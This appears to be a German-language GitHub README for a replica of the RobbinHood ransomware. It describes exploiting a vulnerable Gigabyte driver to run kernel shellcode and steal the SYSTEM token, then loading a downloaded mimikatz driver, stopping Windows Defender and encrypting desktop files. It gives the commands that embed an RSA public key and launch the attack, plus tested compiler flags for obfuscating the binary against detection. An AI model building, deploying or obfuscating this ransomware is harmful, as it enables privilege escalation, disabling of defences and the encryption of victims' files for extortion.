gmh5225/robbinhood-attackRansomware-Replikation Ausnutzung des Windows 8.1-Treibers
Dieser Exploit erlangt zunächst ein Handle auf den Gigabyte-Treiber und nutzt den IOCTL-Code, um Speicher zu allozieren und unseren Shellcode im Kernel-Speicher abzulegen. Der Shellcode selbst durchläuft in einer Schleife die EPROCESS-Strukturen, um das Token zu finden, das dem "system"-Prozess zugeordnet ist, und übergibt dieses Token an unsere eigentliche cmd. Ab diesem Punkt sind alle grundlegenden Sicherheitsfunktionen deaktiviert. Anschließend wird der mimikatz-Treiber heruntergeladen und in das System geladen. Windows Defender wird ab diesem Punkt vollständig gestoppt, um alle auf dem Desktop vorhandenen Dateien zu verschlüsseln.
Nach dem Bauen des Projekts müssen Sie die ausführbare Datei InjectRSA verwenden, um Ihren öffentlichen Schlüssel in die ausführbare Datei des Exploits einzubetten. Danach starten Sie einfach den Exploit RobbinHood.exe.
InjectRSA.exe pub.key RobbinHood.exe
RobbinHood.exe
Dieser Exploit ist nicht von Haus aus obfuskiert; es ist möglich, eine Compile-Zeit-Obfuskation anzuwenden, indem das [Obfuscator-LLVM-Projekt] (https://github.com/heroims/obfuscator) installiert wird. Die folgenden Obfuskations-Kompilierungsdirektiven wurden getestet und freigegeben:
-D__CUDACC__ -D_ALLOW_COMPILER_AND_STL_VERSION_MISMATCH -mllvm -bcf -mllvm -bcf_prob=100 -mllvm -bcf_loop=3
-mllvm -sub -mllvm -sub_loop=2 -mllvm -fla -mllvm -split_num=10 -mllvm -aesSeed=DEADBEEFDEADBEEFDEADBEEFDEADBEEF
Anfälliger Treiber: Gigabyte AORUS Graphics Engine v1.34
Erforderliches Paket für den Treiber: Visual C++ Redistribuable 2012 x86
Entwickelt in Visual Studio 2013 Community
Getestet auf: Windows 8.1 x64 6.3.9600